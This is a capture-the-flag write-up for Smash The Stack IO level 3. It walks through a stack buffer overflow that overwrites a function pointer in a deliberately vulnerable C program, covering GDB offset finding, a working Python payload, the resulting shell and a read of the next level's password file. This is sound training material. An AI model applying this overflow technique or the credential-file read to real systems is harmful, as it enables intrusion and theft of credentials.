In Level 3 of the Smash The Stack IO wargame, passing a large argument quickly causes a segmentation fault:
level3@io:/levels$ ./level03 $(python -c "print 'A' * 1000")
Segmentation fault
Analyzing the Source Code
The source file level03.c is provided in /levels:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void good()
{
puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{
printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}
int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];
if (argc != 2 || strlen(argv[1]) < 4)
return 0;
memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);
printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();
return 0;
}
Vulnerability Analysis
- Target Function:
good()spawns a privileged shell viaexecl("/bin/sh", ...). - Buffer and Function Pointer:
main()allocates a 50-byte buffer (char buffer[50]) and initializes a function pointer pointing tobad(). - Unbounded Copy:
memcpy(buffer, argv[1], strlen(argv[1]))copies the entire input intobufferwithout checking against its 50-byte bound. - Partial Clear:
memset(buffer, 0, strlen(argv[1]) - 4)zeroes outbufferup tostrlen(argv[1]) - 4. The last 4 bytes of our input remain untouched in memory. - Execution: The program invokes
functionpointer(). If we overflowbuffersuch that the trailing 4 bytes align precisely overfunctionpointer, we redirect execution togood().
Finding Addresses and Offset in GDB
Disassemble and locate the address of good():
level3@io:/levels$ gdb -q ./level03
(gdb) print good
$1 = {void (void)} 0x8048474 <good>
Address in little-endian format: \x74\x84\x04\x08.
Next, set a breakpoint after memcpy (0x08048530) to inspect stack layout:
(gdb) b *0x08048530
(gdb) r $(python -c "print 'A' * 60")
(gdb) x/32wx $esp
Looking at memory relative to buffer:
bufferstarts at-0x58(%ebp).functionpointerresides at-0xc(%ebp).- Difference:
0x58 - 0x0c = 0x4c = 76 bytes.
76 bytes of padding are required before the 4-byte address overwrite.
Exploitation
Craft the payload: 76 * 'A' + 0x08048474:
level3@io:/levels$ ./level03 $(python -c "print 'A' * 76 + '\x74\x84\x04\x08'")
This is exciting we're going to 0x8048474
Win.
sh-4.2$ whoami
level4
sh-4.2$ cat /home/level4/.pass
The function pointer is hijacked, invoking good() and dropping into the level4 shell.